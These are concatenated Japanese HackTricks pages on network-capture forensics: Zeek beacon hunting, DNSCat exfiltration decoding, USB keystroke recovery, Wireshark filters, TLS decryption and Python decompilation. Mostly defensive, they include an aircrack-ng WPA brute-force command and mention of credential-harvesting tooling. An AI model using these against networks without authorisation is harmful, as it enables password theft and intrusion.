* DNSクエリの抽出
* すべてのTCPおよびUDPセッションの再構築
* ファイルの彫刻
### Capinfos
```
capinfos capture.pcap
```
### Ngrep
pcap内で**何か**を**探している**場合は、**ngrep**を使用できます。以下は、主なフィルターを使用した例です:
```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
```
### Carving
一般的なカービング技術を使用して、pcap からファイルや情報を抽出するのに役立ちます:
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
{% endcontent-ref %}
### 資格情報のキャプチャ
[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) のようなツールを使用して、pcap またはライブインターフェースから資格情報を解析できます。
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) は **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** でも最も重要なイベントの一つです。**技術知識の促進を使命** とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
## Exploits/Malware のチェック
### Suricata
**インストールとセットアップ**
```
apt-get install suricata
apt-get install oinkmaster
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
```
**PCAPの確認**
```
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
```
### YaraPcap
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap)は次のことを行うツールです。
- PCAPファイルを読み取り、HTTPストリームを抽出します。
- 圧縮されたストリームをgzipで解凍します。
- すべてのファイルをyaraでスキャンします。
- report.txtを書き込みます。
- オプションで一致するファイルをディレクトリに保存します。
### Malware Analysis
既知のマルウェアの指紋を見つけることができるかどうかを確認してください:
{% content-ref url="../malware-analysis.md" %}
[malware-analysis.md](../malware-analysis.md)
{% endcontent-ref %}
## Zeek
> [Zeek](https://docs.zeek.org/en/master/about.html)は、受動的なオープンソースのネットワークトラフィックアナライザーです。多くのオペレーターは、疑わしいまたは悪意のある活動の調査をサポートするために、ZeekをネットワークセキュリティモニターNSMとして使用しています。 Zeekは、セキュリティ領域を超えたさまざまなトラフィック分析タスクをサポートしており、パフォーマンス測定やトラブルシューティングも含まれています。
基本的に、`zeek`によって作成されたログは**pcap**ではありません。したがって、pcapsに関する**情報**が含まれているログを分析するためには、**他のツール**を使用する必要があります。
```bash
#Get info about longest connections (add "grep udp" to see only udp traffic)
#The longest connection might be of malware (constant reverse shell?)
cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10
10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445
10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151
10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664
#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port.
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
10.55.100.100 65.52.108.225 443 tcp 86222.4
10.55.100.107 111.221.29.113 443 tcp 86220.1
10.55.100.110 40.77.229.82 443 tcp 86160.1
#Get the number of connections summed up per each line
cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10
10.55.100.100 65.52.108.225 1 86222.4
10.55.100.107 111.221.29.113 1 86220.1
10.55.100.110 40.77.229.82 134 86160.1
#Check if any IP is connecting to 1.1.1.1
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c
#Get number of connections per source IP, dest IP and dest Port
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
# RITA
#Something similar can be done with the tool rita
rita show-long-connections -H --limit 10 zeek_logs
+---------------+----------------+--------------------------+----------------+
| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION |
+---------------+----------------+--------------------------+----------------+
| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s |
| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s |
| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s |
#Get connections info from rita
rita show-beacons zeek_logs | head -n 10
Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion
1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
```
### DNS情報
```bash
#Get info about each DNS request performed
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
#Get the number of times each domain was requested and get the top 10
cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10
#Get all the IPs
cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c
#Sort the most common DNS record request (should be A)
cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
#See top DNS domain requested with rita
rita show-exploded-dns -H --limit 10 zeek_logs
```
## その他のpcap分析のテクニック
{% content-ref url="dnscat-exfiltration.md" %}
[dnscat-exfiltration.md](dnscat-exfiltration.md)
{% endcontent-ref %}
{% content-ref url="wifi-pcap-analysis.md" %}
[wifi-pcap-analysis.md](wifi-pcap-analysis.md)
{% endcontent-ref %}
{% content-ref url="usb-keystrokes.md" %}
[usb-keystrokes.md](usb-keystrokes.md)
{% endcontent-ref %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
<details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details>

View file

@ -0,0 +1,57 @@
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローする**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
</details>
DNSCat によって**暗号化を使用せずに**データが**外部に持ち出されている**PCAPがある場合、外部に持ち出されたコンテンツを見つけることができます。
**最初の9バイト**は実際のデータではなく、**C\&C通信**に関連していることを知っていれば十分です。
```python
from scapy.all import rdpcap, DNSQR, DNSRR
import struct
f = ""
last = ""
for p in rdpcap('ch21.pcap'):
if p.haslayer(DNSQR) and not p.haslayer(DNSRR):
qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".")
qry = ''.join(_.decode('hex') for _ in qry)[9:]
if last != qry:
print(qry)
f += qry
last = qry
#print(f)
```
詳細については: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\
[https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md)
Python3で動作するスクリプトがあります: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder)
```
python3 dnscat_decoder.py sample.pcap bad_domain
```
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>

View file

@ -0,0 +1,39 @@
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で **フォロー**する。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出する。
</details>
USBキーボードの通信を含むpcapファイルがある場合、次のようなキーボードの通信を解析するために、[**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser)ツールを使用できます:
```bash
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
python3 usbkeyboard.py ./keystrokes.txt
```
以下のリンクから詳細情報や解析スクリプトを見つけることができます:
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
* [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
</details>

View file

@ -0,0 +1,50 @@
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details>
# BSSIDの確認
WireSharkを使用してWifiの主要トラフィックを含むキャプチャを受信した場合、_Wireless --> WLAN Traffic_ でキャプチャのすべてのSSIDを調査を開始できます:
![](<../../../.gitbook/assets/image (424).png>)
![](<../../../.gitbook/assets/image (425).png>)
## ブルートフォース
その画面の列の1つは、**pcap内で認証が見つかったかどうか**を示します。その場合、`aircrack-ng`を使用してブルートフォースできます:
```bash
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
```
# ビーコン/サイドチャネル内のデータ
例えば、後でトラフィックを復号化するために必要となるPSK事前共有キーを保護するWPAパスフレーズを取得します。
**ビーコン内でデータが漏洩している**と疑う場合、次のようなフィルタを使用してネットワークのビーコンをチェックできます: `wlan contains <NAMEofNETWORK>`、または `wlan.ssid == "NAMEofNETWORK"`。フィルタされたパケット内で疑わしい文字列を検索します。
# Wifiネットワーク内の不明なMACアドレスを見つける
次のリンクは、**Wifiネットワーク内でデータを送信しているマシン**を見つけるのに役立ちます:
* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
すでに**MACアドレスを知っている場合は、それらを出力から削除**するために、次のようなチェックを追加できます: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
ネットワーク内で通信している**不明なMAC**アドレスを検出したら、次のような**フィルタ**を使用できます: `wlan.addr==<MAC address> && (ftp || http || ssh || telnet)`。ftp/http/ssh/telnetフィルタは、トラフィックを復号化している場合に有用です。
# トラフィックの復号化
編集 --> 設定 --> プロトコル --> IEEE 802.11 --> 編集
![](<../../../.gitbook/assets/image (426).png>)

View file

@ -0,0 +1,181 @@
# Wiresharkのトリック
## Wiresharkのトリック
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details>
## Wiresharkスキルの向上
### チュートリアル
以下のチュートリアルは、いくつかのクールな基本的なトリックを学ぶのに素晴らしいです:
- [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/)
- [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/)
- [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/)
- [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/)
### 分析情報
**専門家情報**
_Analyze_ --> _Expert Information_をクリックすると、**分析された**パケットで何が起こっているかの**概要**が表示されます:
![](<../../../.gitbook/assets/image (570).png>)
**解決されたアドレス**
_Statistics_ --> _Resolved Addresses_の下には、wiresharkによって**解決された**ポート/トランスポートからプロトコル、MACから製造業者など、いくつかの**情報**が表示されます。通信に何が関与しているかを知ることは興味深いです。
![](<../../../.gitbook/assets/image (571).png>)
**プロトコル階層**
_Statistics_ --> _Protocol Hierarchy_の下には、通信に**関与しているプロトコル**とそれに関するデータが表示されます。
![](<../../../.gitbook/assets/image (572).png>)
**会話**
_Statistics_ --> _Conversations_の下には、通信中の**会話の要約**とそれに関するデータが表示されます。
![](<../../../.gitbook/assets/image (573).png>)
**エンドポイント**
_Statistics_ --> _Endpoints_の下には、通信中の**エンドポイントの要約**とそれに関するデータが表示されます。
![](<../../../.gitbook/assets/image (575).png>)
**DNS情報**
_Statistics_ --> _DNS_の下には、キャプチャされたDNSリクエストに関する統計が表示されます。
![](<../../../.gitbook/assets/image (577).png>)
**I/Oグラフ**
_Statistics_ --> _I/O Graph_の下には、通信の**グラフ**が表示されます。
![](<../../../.gitbook/assets/image (574).png>)
### フィルター
ここでは、プロトコルに応じたWiresharkフィルターを見つけることができます[https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\
他の興味深いフィルター:
- `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)`
- HTTPおよび初期HTTPSトラフィック
- `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)`
- HTTPおよび初期HTTPSトラフィック + TCP SYN
- `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)`
- HTTPおよび初期HTTPSトラフィック + TCP SYN + DNSリクエスト
### 検索
セッションのパケット内の**コンテンツ**を**検索**したい場合は、_CTRL+f_を押します。右ボタンを押してから列を編集することで、メイン情報バーに新しいレイヤーを追加できます番号、時間、ソースなど
### 無料のpcapラボ
**無料のチャレンジで練習する:[https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net)**
## ドメインの識別
Host HTTPヘッダーを表示する列を追加できます
![](<../../../.gitbook/assets/image (403).png>)
そして、初期化されたHTTPS接続からサーバー名を追加する列を追加できます**ssl.handshake.type == 1**
![](<../../../.gitbook/assets/image (408) (1).png>)
## ローカルホスト名の識別
### DHCPから
現在のWiresharkでは、`bootp`の代わりに`DHCP`を検索する必要があります
![](<../../../.gitbook/assets/image (404).png>)
### NBNSから
![](<../../../.gitbook/assets/image (405).png>)
## TLSの復号化
### サーバーの秘密鍵を使用してhttpsトラフィックを復号化する
_edit>preference>protocol>ssl>_
![](<../../../.gitbook/assets/image (98).png>)
_Edit_を押して、サーバーとプライベートキーのすべてのデータを追加します_IP、ポート、プロトコル、キーファイル、パスワード_
### 対称セッションキーを使用してhttpsトラフィックを復号化する
FirefoxとChromeの両方には、TLSセッションキーを記録する機能があり、これをWiresharkで使用してTLSトラフィックを復号化できます。これにより、セキュアな通信の詳細な分析が可能になります。この復号化を実行する方法の詳細については、[Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)のガイドで見つけることができます。
これを検出するには、環境内で`SSLKEYLOGFILE`変数を検索します
共有キーのファイルは次のようになります:
![](<../../../.gitbook/assets/image (99).png>)
Wiresharkにこれをインポートするには、\_edit > preference > protocol > ssl > に移動し、Pre-Master-Secretログファイル名にインポートします
![](<../../../.gitbook/assets/image (100).png>)
## ADB通信
APKが送信されたADB通信からAPKを抽出します
```python
from scapy.all import *
pcap = rdpcap("final2.pcapng")
def rm_data(data):
splitted = data.split(b"DATA")
if len(splitted) == 1:
return data
else:
return splitted[0]+splitted[1][4:]
all_bytes = b""
for pkt in pcap:
if Raw in pkt:
a = pkt[Raw]
if b"WRTE" == bytes(a)[:4]:
all_bytes += rm_data(bytes(a)[24:])
else:
all_bytes += rm_data(bytes(a))
print(all_bytes)
f = open('all_bytes.data', 'w+b')
f.write(all_bytes)
f.close()
```
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>

View file

@ -0,0 +1,236 @@
# コンパイルされたPythonバイナリexe、elfを逆コンパイルする - .pycから取得
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する。
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**する。
</details>
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti**に**サインアップ**して、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**に参加しましょう![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で今すぐ参加し、最大**$100,000**のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
## コンパイルされたバイナリから .pyc へ
**ELF**コンパイルされたバイナリからは、次のようにして **.pyc** を取得できます:
```bash
pyi-archive_viewer <binary>
# The list of python modules will be given here:
[(0, 230, 311, 1, 'm', 'struct'),
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
(15535, 2514, 4421, 1, 's', 'binary_name'),
...
? X binary_name
to filename? /tmp/binary.pyc
```
**Python exe バイナリ**にコンパイルされた場合、次のコマンドを実行して **.pyc** を取得できます:
```bash
python pyinstxtractor.py executable.exe
```
## .pycからPythonコードへ
**.pyc**データ「コンパイルされた」Pythonから、**元の** **Python** **コード**を**抽出**し始める必要があります:
```bash
uncompyle6 binary.pyc > decompiled.py
```
**.pyc**の**拡張子**が**バイナリ**に**あること**を**確認してください**そうでない場合、uncompyle6は機能しません
**uncompyle6**を実行する際に、**次のエラー**が**発生する**可能性があります:
### エラー不明なマジックナンバー227
```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc
```
ファイルの先頭に**正しいマジックナンバーを追加する必要があります**。
**マジックナンバーはPythonのバージョンによって異なります**。**Python 3.8**のマジックナンバーを取得するには、**Python 3.8**のターミナルを開いて次のコマンドを実行する必要があります:
```
>> import imp
>> imp.get_magic().hex()
'550d0d0a'
```
**マジックナンバー**は、この場合、Python3.8の場合は**`0x550d0d0a`**です。したがって、このエラーを修正するには、**.pycファイル**の**先頭**に次のバイトを追加する必要があります:`0x0d550a0d000000000000000000000000`
その**マジックヘッダー**を追加したら、**エラーは修正されるはず**です。
これが正しく追加された**.pyc Python3.8のマジックヘッダー**の見た目です:
```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
0000010 00e3 0000 0000 0000 0000 0000 0000 0000
0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064
```
### エラー: 一般的なエラーの逆コンパイル
`class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` のような**その他のエラー**が発生する可能性があります。
これはおそらく、**適切なマジックナンバーを正しく追加していない**か、**正しいマジックナンバーを使用していない**ことを意味するので、**正しいものを使用していることを確認**してください(または新しいものを試してみてください)。
前のエラードキュメントを確認してください。
## 自動ツール
[**python-exe-unpackerツール**](https://github.com/countercept/python-exe-unpacker) は、Pythonで書かれた実行可能ファイルをアンパックおよび逆コンパイルするために設計されたいくつかのコミュニティで利用可能なツールの組み合わせとして機能します。特に、py2exeとpyinstallerで作成されたものに対応しています。実行可能ファイルがPythonベースであるかどうかを識別するためのYARAルールが含まれており、作成ツールを確認します。
### ImportError: ファイル名: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' が存在しません
遭遇する一般的な問題には、**unpy2exeまたはpyinstxtractorでのアンパックプロセスから生じる不完全なPythonバイトコードファイル**が関連しており、その後、**不足しているPythonバイトコードバージョン番号のためにuncompyle6によって認識されない**ことがあります。 これを解決するために、必要なPythonバイトコードバージョン番号を追加するprependオプションが追加されました。これにより、逆コンパイルプロセスが容易になります。
問題の例:
```python
# Error when attempting to decompile without the prepend option
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
Traceback (most recent call last):
...
ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist
```
```python
# Successful decompilation after using the prepend option
test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
[*] On Python 2.7
[+] Magic bytes are already appended.
# Successfully decompiled file
[+] Successfully decompiled.
```
## Pythonアセンブリの解析
